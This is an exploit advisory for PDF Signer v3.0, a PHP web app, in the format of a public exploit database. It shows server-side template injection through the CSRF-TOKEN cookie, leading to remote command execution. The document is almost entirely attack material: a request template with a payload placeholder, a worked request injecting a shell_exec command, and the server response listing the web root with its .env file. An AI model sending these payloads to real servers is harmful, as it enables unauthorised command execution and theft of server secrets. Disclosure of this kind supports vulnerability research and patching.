PDF Signer 3.0 Template Injection / CSRF / Code Execution

`# Exploit Title: PDF Signer v3.0 - SSTI to RCE via CSRF Cookie  
# Dork: N/A  
# Date: 2019-01-28  
# Exploit Author: dd_ ([email protected])  
# Vendor Homepage: https://codecanyon.net/user/simcy_creative  
# Software Link: https://codecanyon.net/item/signer-create-digital-signatures-and-sign-pdf-documents-online/20737707  
# Version: v3.0  
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)  
# Vendor Banner: Signer v3.0 a Create Digital signatures and Sign PDF documents  
# Research IRC: irc.blackcatz.org #blackcatz  
  
# Vulnerability: Server-Side Template Injection leading to Remote Command Execution due to improper Cookie handling and improper CSRF implementation.  
  
# POC:  
# 1)  
  
GET / HTTP/1.1  
Host: signer.local  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: http://signer.local/signin/?secure=true  
Connection: close  
Cookie: CSRF-TOKEN=rnqvt{{[PHP_COMMAND_HERE]}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl  
Upgrade-Insecure-Requests: 1  
  
# Example  
  
[REQUEST]  
  
GET / HTTP/1.1  
Host: signer.local  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: http://signer.local/signin/?secure=true  
Connection: close  
Cookie: CSRF-TOKEN=rnqvt{{shell_exec('ls -lah')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl  
Upgrade-Insecure-Requests: 1  
  
[RESPONSE]  
  
--half way down page---snip--  
  
<label>Folder name</label>  
<input type="text" class="form-control" name="foldername" placeholder="Folder name" data-parsley-required="true">  
<input type="hidden" name="folder" value="1">  
<input type="hidden" name="folderid">  
<input type="hidden" name="csrf-token" value="rnqvttotal 112K  
drwxr-xr-x 9 www-data www-data 4.0K Jan 28 12:04 .  
drwxr-xr-x 6 www-data www-data 4.0K Jan 28 06:19 ..  
-rw-r--r-- 1 www-data www-data 1.1K Jan 28 12:03 .env  
-rw-r--r-- 1 www-data www-data 532 Jan 9 20:52 .htaccess  
drwxr-xr-x 9 www-data www-data 4.0K Jan 9 20:53 assets  
-rw-r--r-- 1 www-data www-data 947 Jan 9 20:52 composer.json  
-rw-r--r-- 1 www-data www-data 54K Jan 9 20:52 composer.lock  
drwxr-xr-x 2 www-data www-data 4.0K Jan 28 11:59 config  
-rw-r--r-- 1 www-data www-data 1.7K Jan 9 20:52 cron.php  
-rw-r--r-- 1 www-data www-data 169 Jan 9 20:52 index.php  
drwxr-xr-x 3 www-data www-data 4.0K Jan 9 20:53 lang  
drwxr-xr-x 6 www-data www-data 4.0K Jan 28 11:46 src  
drwxr-xr-x 9 www-data www-data 4.0K Jan 9 20:53 uploads  
drwxr-xr-x 24 www-data www-data 4.0K Jan 9 20:53 vendor  
drwxr-xr-x 6 www-data www-data 4.0K Jan 9 20:53 views  
to5gw" />  
</div>  
</div>  
</div>  
  
--- snip ---  
`